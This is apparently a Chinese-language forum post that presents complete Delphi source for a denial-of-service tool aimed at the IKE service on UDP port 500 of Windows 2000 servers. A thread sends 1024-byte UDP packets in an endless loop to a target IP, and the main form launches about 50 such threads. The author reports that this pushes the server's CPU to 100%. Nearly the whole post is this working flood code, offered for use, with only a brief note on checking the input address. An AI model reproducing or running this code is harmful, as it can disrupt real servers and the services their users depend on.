前些日子,看見有文章說win2000服務器的500端口對flood攻擊防御不是很好,我測試了一下,發現很有效果,對win2000服務器的udp500發送大量包的時候,win2000服務器的cpu率一下子達到了100%,而且反應立刻遲鈍下來.
程序如下:
線程程序://線程的執行代碼,創建線程請用菜單new一個TheadObject
uses winsock;
procedure udpdos.Execute;
var
wsa:TWSAData;
s: TSocket;
sockin: TSockAddrIn;
buf:array[0..1023] of byte;
i: integer;
DIP:string;
begin
{ Place thread code here }
//win2000下利用ike(udp 500)的DOS攻擊
//by 楊順
FreeOnTerminate := true;
//destIP是主Form裡面上,就是要攻擊的對象,在主Form裡面申明一個這樣的變量就可以了
DIP := DestIP;
//填充buf
for i := 0 to 1023 do
buf[i] := 97;
//初始化socket2
WSAStartup($101,wsa);
//創建udp socket
s := socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
sockin.sin_family := AF_INET;
sockin.sin_port := htons(IKE);
sockin.sin_addr.S_addr := inet_addr(pchar(DIP));
while true do
begin
if self.Terminated then
break;
//發送數據報
sendto(s,buf,1024,0,sockin,sizeof(sockin));
end;
closesocket(s);
WSACleanup;
end;
主form裡面,調用
for i := 0 to 50 do
begin
udpdos.Create(false); //創建50多個線程,進行攻擊
end;
順便提一下,堅持用戶輸入的ip是否合法,一句話就可以了
uses winsock
if inet_addr(pchar(DestIP)) = inaddr_none then
begin
showmessage(輸入的IP地址錯誤);
exit;
end;